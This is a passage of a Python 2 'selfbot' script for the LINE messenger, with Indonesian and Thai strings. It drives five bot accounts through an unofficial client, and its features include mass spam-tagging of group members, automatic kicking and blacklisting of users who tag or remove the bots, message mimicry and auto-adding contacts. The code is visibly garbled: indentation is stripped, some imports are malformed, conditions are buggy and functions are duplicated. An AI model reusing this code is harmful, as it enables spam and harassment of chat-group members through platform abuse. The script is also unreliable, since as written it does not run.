║╠❂➣Bot kemari
║╠❂➣cab/cab1/2/3/4/5/6/7
║╠❂➣Logo
║╠❂➣Restart
║╠❂➣Invite/Undang/Jepit
║╠❂➣Namebot:(txt)
║╠❂➣Namebot1/2/3/4/5:
║╠❂➣Biobot: (txt)
║╠❂➣Gcreator:inv
║╠❂➣Gcreator:kick
║╠❂➣Kr spamtag @
║╠❂➣Kr cium
║╠❂➣Kr glist
║╠❂➣Kr glist2
║╠❂➣Kr asupka
║╠❂➣Kr bye
║╠❂➣Kr megs
║╠❂➣#megs
║╠❂➣recover
║╠❂➣Kr spin
║╠❂➣Remove all chat
║╠❂➣Kr muach
║╠❂➣Kr
║╠❂➣Salam3
║╚════════════
╚═line.me/ti/p/4bvwOIMft8══"""
KAC=[kr1,kr2,kr3,kr4,kr5]
mid = kr1.getProfile().mid
mid2 = kr2.getProfile().mid
mid3 = kr3.getProfile().mid
mid4 = kr4.getProfile().mid
mid5 = kr5.getProfile().mid
mid6 = kr6.getProfile().mid
Bots=[mid,mid2,mid3,mid4,mid5]
owner=["ueacedbe88bf6e2c5cf6188b3a4a26e18"]
admin=["ueacedbe88bf6e2c5cf6188b3a4a26e18",mid,mid2,mid3,mid4,mid5]
wait = {
'likeOn':False,
'alwayRead':False,
'detectMention':False,
'potoMention':False,
'kickMention':False,
'steal':True,
'pap':{},
'invite':{},
'spam':{},
'contact':False,
'autoJoin':True,
'autoCancel':{"on":False,"members":5},
'leaveRoom':True,
'timeline':False,
'autoAdd':True,
'message':"""ยินดีที่ได้รู้จักนะครับ\n☆º°˚˚✰ -[✭]-Ⓣ-Ⓗ-Ⓘ-Ⓡ-Ⓓ-[✭]- ✰º°˚˚☆""",
"lang":"JP",
"comment":"👉ออโต้ไลค์ By เติ๊ดนะครับ😊\n\n☆º°˚˚✰ -[✭]-Ⓣ-Ⓗ-Ⓘ-Ⓡ-Ⓓ-[✭]- ✰º°˚˚☆(^ω^)\nline.me/ti/p/4bvwOIMft8«««",
"commentOn":False,
"commentBlack":{},
"wblack":False,
"dblack":False,
"clock":False,
"cNames1":"",
"cNames2":"",
"cNames3":"",
"cNames4":"",
"cNames5":"",
"Wc":False,
"Lv":False,
"MENTION":True,
"blacklist":{},
"wblacklist":False,
"dblacklist":False,
"protect":True,
"cancelprotect":True,
"inviteprotect":True,
"linkprotect":True,
}
wait2 = {
'readPoint':{},
'readMember':{},
'setTime':{},
'ROM':{}
}
mimic = {
"copy":False,
"copy2":False,
"status":False,
"target":{}
}
settings = {
"simiSimi":{}
}
setTime = {}
setTime = wait2['setTime']
mulai = time.time()
contact = kr1.getProfile()
mybackup = kr1.getProfile()
contact = kr2.getProfile()
mybackup = kr2.getProfile()
contact = kr3.getProfile()
mybackup = kr3.getProfile()
contact = kr4.getProfile()
mybackup = kr4.getProfile()
contact = kr5.getProfile()
mybackup = kr5.getProfile()
mybackup.displayName = contact.displayName
mybackup.statusMessage = contact.statusMessage
mybackup.pictureStatus = contact.pictureStatus
mulai = time.time()
agent = {'User-Agent' : "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)"}
def translate(to_translate, to_language="auto", language="auto"):
bahasa_awal = "auto"
bahasa_tujuan = to_language
kata = to_translate
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
return result
def download_page(url):
version = (3,0)
cur_version = sys.version_info
if cur_version >= version: #If the Current Version of Python is 3.0 or above
import urllib,request #urllib library for Extracting web pages
try:
headers = {}
headers['User-Agent'] = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
req = urllib,request.Request(url, headers = headers)
resp = urllib,request.urlopen(req)
respData = str(resp.read())
return respData
except Exception as e:
print(str(e))
else: #If the Current Version of Python is 2.x
import urllib2
try:
headers = {}
headers['User-Agent'] = "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.27 Safari/537.17"
req = urllib2.Request(url, headers = headers)
response = urllib2.urlopen(req)
page = response.read()
return page
except:
return"Page Not found"
#Finding 'Next Image' from the given raw page
def _images_get_next_item(s):
start_line = s.find('rg_di')
if start_line == -1: #If no links are found then give an error!
end_quote = 0
link = "no_links"
return link, end_quote
else:
start_line = s.find('"class="rg_meta"')
start_content = s.find('"ou"',start_line+90)
end_content = s.find(',"ow"',start_content-90)
content_raw = str(s[start_content+6:end_content-1])
return content_raw, end_content
#Getting all links with the help of '_images_get_next_image'
def _images_get_all_items(page):
items = []
while True:
item, end_content = _images_get_next_item(page)
if item == "no_links":
break
else:
items.append(item) #Append all the links in the list named 'Links'
time.sleep(0.1) #Timer could be used to slow down the request for image downloads
page = page[end_content:]
return items
#def autolike():
# for zx in range(0,100):
# hasil = kr1.activity(limit=100)
# if hasil['result']['posts'][zx]['postInfo']['liked'] == False:
# try:
# kr1.like(hasil['result']['posts'][zx]['userInfo']['mid'],hasil['result']['posts'][zx]['postInfo']['postId'],likeType=1002)
# kr1.comment(hasil['result']['posts'][zx]['userInfo']['mid'],hasil['result']['posts'][zx]['postInfo']['postId'],"Auto Like By TobyBots!!\nID LINE : line://ti/p/~tobyg74\nIG : instagram.com/tobygaming74")
# print "DiLike"
# except:
# pass
# else:
# print "Sudah DiLike"
# time.sleep(500)
#thread2 = threading.Thread(target=autolike)
#thread2.daemon = True
#thread2.start()
#def autolike():
# for zx in range(0,100):
# hasil = kr1.activity(limit=100)
# if hasil['result']['posts'][zx]['postInfo']['liked'] == False:
# try:
# kr1.like(hasil['result']['posts'][zx]['userInfo']['mid'],hasil['result']['posts'][zx]['postInfo']['postId'],likeType=1002)
# kr1.comment(hasil['result']['posts'][zx]['userInfo']['mid'],hasil['result']['posts'][zx]['postInfo']['postId'],"👉ąµţ๏ℓɨЌ€ By✰ tɛǟʍ ċʏɮɛʀ-ǟʀʍʏ ɮօt ✰😊\n\n☆º°˚˚☆ tɛǟʍ ċʏɮɛʀ-ǟʀʍʏ ɮօt ✰°˚˚☆(^ω^)\nąµţ๏ℓɨЌ€ by Kris ⭐👈 »»» http://line.me/ti/p/GkwfNjoPDH «««")
# print "Like"
# except:
# pass
# else:
# print "Already Liked"
#time.sleep(500)
#thread2 = threading.Thread(target=autolike)
#thread2.daemon = True
#thread2.start()
def yt(query):
with requests.session() as s:
isi = []
if query == "":
query = "S1B tanysyz"
s.headers['user-agent'] = 'Mozilla/5.0'
url = 'http://www.youtube.com/results'
params = {'search_query': query}
r = s.get(url, params=params)
soup = BeautifulSoup(r.content, 'html5lib')
for a in soup.select('.yt-lockup-title > a[title]'):
if '&list=' not in a['href']:
if 'watch?v' in a['href']:
b = a['href'].replace('watch?v=', '')
isi += ['youtu.be' + b]
return isi
def waktu(secs):
mins, secs = divmod(secs,60)
hours, mins = divmod(mins,60)
return '%02d Jam %02d Menit %02d Detik' % (hours, mins, secs)
def upload_tempimage(client):
'''
Upload a picture of a kitten. We don't ship one, so get creative!
'''
config = {
'album': album,
'name': 'bot auto upload',
'title': 'bot auto upload',
'description': 'bot auto upload'
}
print("Uploading image... ")
image = kr1.upload_from_path(image_path, config=config, anon=False)
print("Done")
print()
return image
def sendMessage(to, text, contentMetadata={}, contentType=0):
mes = Message()
mes.to, mes.from_ = to, profile.mid
mes.text = text
mes.contentType, mes.contentMetadata = contentType, contentMetadata
if to not in messageReq:
messageReq[to] = -1
messageReq[to] += 1
def sendImage(self, to_, path):
M = Message(to=to_,contentType = 1)
M.contentMetadata = None
M.contentPreview = None
M_id = self.Talk.kr1.sendMessage(0,M).id
files = {
'file': open(path, 'rb'),
}
params = {
'name': 'media',
'oid': M_id,
'size': len(open(path, 'rb').read()),
'type': 'image',
'ver': '1.0',
}
data = {
'params': json.dumps(params)
}
r = self.post_content('https://os.line.naver.jp/talk/m/upload.nhn', data=data, files=files)
if r.status_code != 201:
raise Exception('Upload image failure.')
return True
def sendImageWithURL(self, to_, url):
path = '%s/pythonLine-%i.data' % (tempfile.gettempdir(), randint(0, 9))
r = requests.get(url, stream=True)
if r.status_code == 200:
with open(path, 'w') as f:
shutil.copyfileobj(r.raw, f)
else:
raise Exception('Download image failure.')
try:
self.sendImage(to_, path)
except Exception as e:
raise e
def restart_program():
python = sys.executable
os.execl(python, python, * sys.argv)
def post_content(self, urls, data=None, files=None):
return self._session.post(urls, headers=self._headers, data=data, files=files)
def NOTIFIED_READ_MESSAGE(op):
try:
if op.param1 in wait2['readPoint']:
Name = kr1.getContact(op.param2).displayName
if Name in wait2['readMember'][op.param1]:
pass
else:
wait2['readMember'][op.param1] += "\n9§9" + Name
wait2['ROM'][op.param1][op.param2] = "9§9" + Name
else:
pass
except:
pass
def sendAudio(self, to_, path):
M = Message(to=to_, text=None, contentType = 3)
M_id = self.Talk.kr1.sendMessage(0,M).id
files = {
'file': open(path, 'rb'),
}
params = {
'name': 'media',
'oid': M_id,
'size': len(open(path, 'rb').read()),
'type': 'audio',
'ver': '1.0',
}
data = {
'params': json.dumps(params)
}
r = self.post_content('https://os.line.naver.jp/talk/m/upload.nhn', data=data, files=files)
print r
if r.status_code != 201:
raise Exception('Upload audio failure.')
def sendAudioWithURL(self, to_, url):
path = '%s/pythonLine-%i.data' % (tempfile.gettempdir(), randint(0, 9))
r = requests.get(url, stream=True)
if r.status_code == 200:
with open(path, 'w') as f:
shutil.copyfileobj(r.raw, f)
else:
raise Exception('Download audio failure.')
try:
self.sendAudio(to_, path)
except Exception as e:
raise e
def sendAudioWithURL(self, to_, url):
path = 'pythonLiness.data'
r = requests.get(url, stream=True)
if r.status_code == 200:
with open(path, 'w') as f:
shutil.copyfileobj(r.raw, f)
else:
raise Exception('Download Audio failure.')
try:
self.sendAudio(to_, path)
except Exception as e:
raise e
def sendVoice(self, to_, path):
M = Message(to=to_, text=None, contentType = 3)
M.contentPreview = None
M_id = self._kr1.sendMessage(0,M).id
files = {
'file': open(path, 'rb'),
}
params = {
'name': 'voice_message',
'oid': M_id,
'size': len(open(path, 'rb').read()),
'type': 'audio',
'ver': '1.0',
}
data = {
'params': json.dumps(params)
}
r = self.post_content('https://os.line.naver.jp/talk/m/upload.nhn', data=data, files=files)
if r.status_code != 201:
raise Exception('Upload voice failure.')
return True
def sendVideoWithURL(self, to_, url):
path = 'pythonLines.data'
r = requests.get(url, stream=True)
if r.status_code == 200:
with open(path, 'w') as f:
shutil.copyfileobj(r.raw, f)
else:
raise Exception('Download Audio failure.')
try:
self.sendVideo(to_, path)
except Exception as e:
raise e
def mention(to,nama):
aa = ""
bb = ""
strt = int(12)
akh = int(12)
nm = nama
#print nm
for mm in nm:
akh = akh + 2
aa += """{"S":"""+json.dumps(str(strt))+""","E":"""+json.dumps(str(akh))+""","M":"""+json.dumps(mm)+"},"""
strt = strt + 6
akh = akh + 4
bb += "► @c \n"
aa = (aa[:int(len(aa)-1)])
msg = Message()
msg.to = to
msg.text = "「Mention」\n"+bb
msg.contentMetadata = {'MENTION':'{"MENTIONEES":['+aa+']}','EMTVER':'4'}
#print msg
try:
kr1.sendMessage(msg)
except Exception as error:
print error
def summon(to, nama):
aa = ""
bb = ""
strt = int(14)
akh = int(14)
nm = nama
for mm in nm:
akh = akh + 2
aa += """{"S":"""+json.dumps(str(strt))+""","E":"""+json.dumps(str(akh))+""","M":"""+json.dumps(mm)+"},"""
strt = strt + 6
akh = akh + 4
bb += "\xe2\x95\xa0 @x \n"
aa = (aa[:int(len(aa)-1)])
msg = Message()
msg.to = to
msg.text = "\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\n"+bb+"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90"
msg.contentMetadata ={"MENTION":'{"MENTIONEES":['+aa+']}','EMTVER':'4'}
print "[Command] Tag All"
try:
kr1.sendMessage(msg)
except Exception as error:
print error
def removeAllMessages(self, lastMessageId):
return self._kr1.removeAllMessages(0, lastMessageId)
def cms(string, commands): #/XXX, >XXX, ;XXX, ^XXX, %XXX, $XXX...
tex = ["+","@","/",">",";","^","%","$","^","サテラ:","サテラ:","サテラ:","サテラ:"]
for tex in tex:
for command in commands:
if string ==command:
return True
def sendText(self, Tomid, text):
msg = Message()
msg.to = Tomid
msg.text = text
def bot(op):
try:
if op.type == 0:
return
if op.type == 5:
if wait['autoAdd'] == True:
kr1.findAndAddContactsByMid(op.param1)
if (wait['message'] in [""," ","\n",None]):
pass
else:
kr1.sendText(op.param1,str(wait['message']))
if op.type == 26:
msg = op.message
if msg.from_ in mimic["target"] and mimic["status"] == True and mimic["target"][msg.from_] == True:
text = msg.text
if text is not None:
kr1.sendText(msg.to,text)
if op.type == 13:
print op.param3
if op.param3 in mid:
if op.param2 in owner:
kr1.acceptGroupInvitation(op.param1)
if op.param3 in mid2:
if op.param2 in owner:
kr2.acceptGroupInvitation(op.param1)
if op.param3 in mid3:
if op.param2 in owner:
kr3.acceptGroupInvitation(op.param1)
if op.param3 in mid4:
if op.param2 in owner:
kr4.acceptGroupInvitation(op.param1)
if op.param3 in mid5:
if op.param2 in owner:
kr5.acceptGroupInvitation(op.param1)
if op.param3 in mid:
if op.param2 in mid2:
kr1.acceptGroupInvitation(op.param1)
if op.param3 in mid:
if op.param2 in mid3:
kr1.acceptGroupInvitation(op.param1)
if op.param3 in mid:
if op.param2 in mid4:
kr1.acceptGroupInvitation(op.param1)
if op.param3 in mid:
if op.param2 in mid5:
kr1.acceptGroupInvitation(op.param1)
if op.param3 in mid2:
if op.param2 in mid:
kr2.acceptGroupInvitation(op.param1)
if op.param3 in mid2:
if op.param2 in mid3:
kr2.acceptGroupInvitation(op.param1)
if op.param3 in mid2:
if op.param2 in mid4:
kr2.acceptGroupInvitation(op.param1)
if op.param3 in mid2:
if op.param2 in mid5:
kr2.acceptGroupInvitation(op.param1)
if op.param3 in mid3:
if op.param2 in mid:
kr3.acceptGroupInvitation(op.param1)
if op.param3 in mid3:
if op.param2 in mid2:
kr3.acceptGroupInvitation(op.param1)
if op.param3 in mid3:
if op.param2 in mid4:
kr3.acceptGroupInvitation(op.param1)
if op.param3 in mid3:
if op.param2 in mid5:
kr3.acceptGroupInvitation(op.param1)
if op.param3 in mid4:
if op.param2 in mid:
kr4.acceptGroupInvitation(op.param1)
if op.param3 in mid4:
if op.param2 in mid2:
kr4.acceptGroupInvitation(op.param1)
if op.param3 in mid4:
if op.param2 in mid3:
kr4.acceptGroupInvitation(op.param1)
if op.param3 in mid4:
if op.param2 in mid5:
kr4.acceptGroupInvitation(op.param1)
if op.param3 in mid5:
if op.param2 in mid:
kr5.acceptGroupInvitation(op.param1)
if op.param3 in mid5:
if op.param2 in mid2:
kr5.acceptGroupInvitation(op.param1)
if op.param3 in mid5:
if op.param2 in mid3:
kr5.acceptGroupInvitation(op.param1)
if op.param3 in mid5:
if op.param2 in mid4:
kr5.acceptGroupInvitation(op.param1)
if op.type == 13:
if mid in op.param3:
if wait['autoJoin'] == True:
if op.param2 in Bots or owner:
kr1.acceptGroupInvitation(op.param1)
else:
kr1.rejectGroupInvitation(op.param1)
else:
print "autoJoin is Off"
if mid2 in op.param3:
if wait['autoJoin'] == True:
if op.param2 in Bots or owner:
kr2.acceptGroupInvitation(op.param1)
else:
kr2.rejectGroupInvitation(op.param1)
else:
print "autoJoin is Off"
if mid3 in op.param3:
if wait['autoJoin'] == True:
if op.param2 in Bots or owner:
kr3.acceptGroupInvitation(op.param1)
else:
kr3.rejectGroupInvitation(op.param1)
else:
print "autoJoin is Off"
if mid4 in op.param3:
if wait['autoJoin'] == True:
if op.param2 in Bots or owner:
kr4.acceptGroupInvitation(op.param1)
else:
kr4.rejectGroupInvitation(op.param1)
else:
print "autoJoin is Off"
if mid5 in op.param3:
if wait['autoJoin'] == True:
if op.param2 in Bots or owner:
kr5.acceptGroupInvitation(op.param1)
else:
kr5.rejectGroupInvitation(op.param1)
else:
print "autoJoin is Off"
if op.type == 19: #bot Ke Kick
if op.param2 in Bots:
pass
if op.param2 in admin:
pass
else:
if op.param3 in mid:
if op.param2 not in Bots or admin:
try:
G = kr2.getGroup(op.param1)
G = kr3.getGroup(op.param1)
kr2.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
kr3.updateGroup(G)
Ticket = kr3.reissueGroupTicket(op.param1)
kr1.acceptGroupInvitationByTicket(op.param1,Ticket)
time.sleep(0.01)
G.preventJoinByTicket = True
kr1.updateGroup(G)
wait["blacklist"][op.param2] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
except:
G = random.choice(KAC).getGroup(op.param1) #Sanji Bertindak
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
random.choice(KAC).updateGroup(G)
Ticket = random.choice(KAC).reissueGroupTicket(op.param1)
kr1.acceptGroupInvitationByTicket(op.param1,Ticket)
time.sleep(0.01)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
wait["blacklist"][op.param2] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
if op.param3 in mid2:
if op.param2 not in Bots or admin:
try:
G = kr3.getGroup(op.param1)
G = kr4.getGroup(op.param1)
kr3.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
kr4.updateGroup(G)
Ticket = kr4.reissueGroupTicket(op.param1)
kr2.acceptGroupInvitationByTicket(op.param1,Ticket)
time.sleep(0.01)
G.preventJoinByTicket = True
kr2.updateGroup(G)
wait["blacklist"][op.param2] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
except:
G = random.choice(KAC).getGroup(op.param1) #Sanji Bertindak
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
random.choice(KAC).updateGroup(G)
Ticket = random.choice(KAC).reissueGroupTicket(op.param1)
kr2.acceptGroupInvitationByTicket(op.param1,Ticket)
time.sleep(0.01)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
wait["blacklist"][op.param2] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
if op.param3 in mid3:
if op.param2 not in Bots or admin:
try:
G = kr4.getGroup(op.param1)
G = kr5.getGroup(op.param1)
kr4.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
kr5.updateGroup(G)
Ticket = kr5.reissueGroupTicket(op.param1)
kr3.acceptGroupInvitationByTicket(op.param1,Ticket)
time.sleep(0.01)
G.preventJoinByTicket = True
kr3.updateGroup(G)
wait["blacklist"][op.param2] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
except:
G = random.choice(KAC).getGroup(op.param1) #Sanji Bertindak
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
random.choice(KAC).updateGroup(G)
Ticket = random.choice(KAC).reissueGroupTicket(op.param1)
kr3.acceptGroupInvitationByTicket(op.param1,Ticket)
time.sleep(0.01)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
wait["blacklist"][op.param2] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
if op.param3 in mid4:
if op.param2 not in Bots or admin:
try:
G = kr5.getGroup(op.param1)
G = kr1.getGroup(op.param1)
kr5.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
kr1.updateGroup(G)
Ticket = kr1.reissueGroupTicket(op.param1)
kr4.acceptGroupInvitationByTicket(op.param1,Ticket)
time.sleep(0.01)
G.preventJoinByTicket = True
kr4.updateGroup(G)
wait["blacklist"][op.param2] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
except:
G = random.choice(KAC).getGroup(op.param1) #Sanji Bertindak
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
random.choice(KAC).updateGroup(G)
Ticket = random.choice(KAC).reissueGroupTicket(op.param1)
kr4.acceptGroupInvitationByTicket(op.param1,Ticket)
time.sleep(0.01)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
wait["blacklist"][op.param2] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
if op.param3 in mid5:
if op.param2 not in Bots or admin:
try:
G = kr1.getGroup(op.param1)
G = kr2.getGroup(op.param1)
kr2.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
kr1.updateGroup(G)
Ticket = kr1.reissueGroupTicket(op.param1)
kr5.acceptGroupInvitationByTicket(op.param1,Ticket)
time.sleep(0.01)
G.preventJoinByTicket = True
kr5.updateGroup(G)
wait["blacklist"][op.param2] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
except:
G = random.choice(KAC).getGroup(op.param1) #Sanji Bertindak
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
random.choice(KAC).updateGroup(G)
Ticket = random.choice(KAC).reissueGroupTicket(op.param1)
kr5.acceptGroupInvitationByTicket(op.param1,Ticket)
time.sleep(0.01)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
wait["blacklist"][op.param2] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
if op.param3 in admin:
if op.param2 not in Bots:
try:
kr1.kickoutFromGroup(op.param1,[op.param2])
kr1.inviteIntoGroup(op.param1,[op.param3])
wait["blacklist"][op.param2] = True
except:
try:
kr1.kickoutFromGroup(op.param1,[op.param2])
kr1.inviteIntoGroup(op.param1,[admin])
wait["blacklist"][op.param2] = True
except:
try:
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
random.choice(KAC).inviteIntoGroup(op.param1,[op.param3])
wait["blacklist"][op.param2] = True
except:
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
random.choice(KAC).inviteIntoGroup(op.param1,[admin])
wait["blacklist"][op.param2] = True
if op.param3 in admin or Bots:
if op.param2 in admin or Bots:
try:
kr1.inviteIntoGroup(op.param1,admin)
kr1.inviteIntoGroup(op.param1,[op.param3])
except:
random.choice(KAC).inviteIntoGroup(op.param1,[admin])
random.choice(KAC).inviteIntoGroup(op.param1,[op.param3])
if op.param3 in admin or owner:
if op.param2 not in Bots:
try:
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
kr1.inviteIntoGroup(op.param1,[op.param3])
wait["blacklist"][op.param2] = True
except:
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
random.choice(KAC).inviteIntoGroup(op.param1,[op.param3])
wait["blacklist"][op.param2] = True
if op.type == 19:
if mid in op.param3:
wait["blacklist"][op.param2] = True
if op.type == 22:
if wait['leaveRoom'] == True:
kr1.leaveRoom(op.param1)
kr2.leaveRoom(op.param1)
kr3.leaveRoom(op.param1)
kr4.leaveRoom(op.param1)
kr5.leaveRoom(op.param1)
if op.type == 24:
if wait['leaveRoom'] == True:
kr1.leaveRoom(op.param1)
kr2.leaveRoom(op.param1)
kr3.leaveRoom(op.param1)
kr4.leaveRoom(op.param1)
kr5.leaveRoom(op.param1)
if op.type == 26:
msg = op.message
if msg.toType == 0:
msg.to = msg.from_
if msg.from_ == mid:
if "join:" in msg.text:
list_ = msg.text.split(":")
try:
kr1.acceptGroupInvitationByTicket(list_[1],list_[2])
G = kr1.getGroup(list_[1])
G.preventJoinByTicket = True
kr1.updateGroup(G)
except:
kr1.sendText(msg.to,"error")
if msg.toType == 1:
if wait['leaveRoom'] == True:
kr1.leaveRoom(msg.to)
if msg.contentType == 16:
url = msg.contentMetadata["postEndUrl"]
kr1.like(url[25:58], url[66:], likeType=1001)
if op.type == 26:
msg = op.message
if msg.from_ in mimic["target"] and mimic["status"] == True and mimic["target"][msg.from_] == True:
text = msg.text
if text is not None:
kr1.sendText(msg.to,text)
if op.type == 26:
msg = op.message
if msg.to in settings["simiSimi"]:
if settings["simiSimi"][msg.to] == True:
if msg.text is not None:
text = msg.text
r = requests.get("http://api.ntcorp.us/chatbot/v1/?text=" + text.replace(" ","+") + "&key=beta1.nt")
data = r.text
data = json.loads(data)
if data["status"] == 200:
if data['result']['result'] == 100:
kr1.sendText(msg.to, "[From Simi]\n" + data['result']['response'].encode('utf-8'))
if "MENTION" in msg.contentMetadata.keys() != None:
if wait['detectMention'] == True:
contact = kr1.getContact(msg.from_)
cName = contact.displayName
balas = [cName + "Kangenkah sampai ngetag mulu?",cName + " nah mending pc aja klo penting..!", "kenapa, ", cName + " kangen ya?","kangen bilang, gak usah ngetag mulu, " + cName, "sekali lagi ngetag, bayar ya..!!! " + cName, "Tuh kan" + cName + "ngetag lagi, mojok aja yux...!!!"]
ret_ = "[Auto Respon] " + random.choice(balas)
name = re.findall(r'@(\w+)', msg.text)
mention = ast.literal_eval(msg.contentMetadata["MENTION"])
mentionees = mention['MENTIONEES']
for mention in mentionees:
if mention['M'] in Bots:
kr1.sendText(msg.to,ret_)
break
if "MENTION" in msg.contentMetadata.keys() != None:
if wait['potoMention'] == True:
contact = kr1.getContact(msg.from_)
cName = contact.pictureStatus
balas = ["http://dl.profile.line-cdn.net/" + cName]
ret_ = random.choice(balas)
mention = ast.literal_eval(msg.contentMetadata["MENTION"])
mentionees = mention["MENTIONEES"]
for mention in mentionees:
if mention["M"] in Bots:
kr1.sendImageWithURL(msg.to,ret_)
break
if "MENTION" in msg.contentMetadata.keys() != None:
if wait['kickMention'] == True:
contact = kr1.getContact(msg.from_)
cName = contact.displayName
balas = [cName + "Kangenkah sampai ngetag mulu?",cName + " nah mending pc aja klo penting..!", "kenapa, ", cName + " kangen ya?","kangen bilang, gak usah ngetag mulu, " + cName, "sekali lagi ngetag, bayar ya..!!! " + cName, "Tuh kan" + cName + "ngetag lagi, mojok aja yux...!!!"]
ret_ = "[Auto Respon] " + random.choice(balas)
name = re.findall(r'@(\w+)', msg.text)
mention = ast.literal_eval(msg.contentMetadata["MENTION"])
mentionees = mention['MENTIONEES']
for mention in mentionees:
if mention['M'] in Bots:
kr1.sendText(msg.to,ret_)
kr1.kickoutFromGroup(msg.to,[msg.from_])
break
if msg.contentType == 13:
if wait['invite'] == True:
_name = msg.contentMetadata["displayName"]
invite = msg.contentMetadata["mid"]
groups = kr1.getGroup(msg.to)
pending = groups.invitee
targets = []
for s in groups.members:
if _name in s.displayName:
kr1.sendText(msg.to, _name + " Berada DiGrup Ini")
else:
targets.append(invite)
if targets == []:
pass
else:
for target in targets:
try:
kr1.findAndAddContactsByMid(target)
kr1.inviteIntoGroup(msg.to,[target])
kr1.sendText(msg.to,"Invite " + _name)
wait['invite'] = False
break
except:
kr1.sendText(msg.to,"Error")
wait['invite'] = False
break
if op.type == 26:
msg = op.message
if msg.contentType == 13:
if wait["winvite"] == True:
if msg.from_ in admin or owner:
_name = msg.contentMetadata["displayName"]
invite = msg.contentMetadata["mid"]
groups = kr1.getGroup(msg.to)
pending = groups.invitee
targets = []
for s in groups.members:
if _name in s.displayName:
kr1.sendText(msg.to,"-> " + _name + " ada di room ini")
break
elif invite in wait["blacklist"]:
kr1.sendText(msg.to,"Maaf, " + _name + " kena Blacklist")
kr1.sendText(msg.to,"hubungi owner kami ya !, \n➡Unban: " + invite)
break
else:
targets.append(invite)
if targets == []:
pass
else:
for target in targets:
try:
kr1.findAndAddContactsByMid(target)
kr1.inviteIntoGroup(msg.to,[target])
kr1.sendText(msg.to,"Selesai di Invite : \n➡" + _name)
wait["winvite"] = False
break
except:
try:
kr1.findAndAddContactsByMid(invite)
kr1.inviteIntoGroup(op.param1,[invite])
wait["winvite"] = False
except:
kr1.sendText(msg.to,"Negative, Error detected")
wait["winvite"] = False
break
if msg.from_ in admin or owner:
_name = msg.contentMetadata["displayName"]
invite = msg.contentMetadata["mid"]
groups = kr2.getGroup(msg.to)
pending = groups.invitee
targets = []
for s in groups.members:
if _name in s.displayName:
kr2.sendText(msg.to,"-> " + _name + " ada di room ini")
break
elif invite in wait["blacklist"]:
kr2.sendText(msg.to,"Maaf, " + _name + " kena Blacklist")
kr2.sendText(msg.to,"hubungi owner kami ya !, \n➡Unban: " + invite)
break
else:
targets.append(invite)
if targets == []:
pass
else:
for target in targets:
try:
kr2.findAndAddContactsByMid(target)
kr2.inviteIntoGroup(msg.to,[target])
kr2.sendText(msg.to,"Selesai di Invite : \n➡" + _name)
wait["winvite"] = False
break
except:
try:
kr2.findAndAddContactsByMid(invite)
kr2.inviteIntoGroup(op.param1,[invite])
wait["winvite"] = False
except:
kr2.sendText(msg.to,"Negative, Error detected")
wait["winvite"] = False
break
#if msg.contentType == 13:
# if wait['steal'] == True:
# _name = msg.contentMetadata["displayName"]
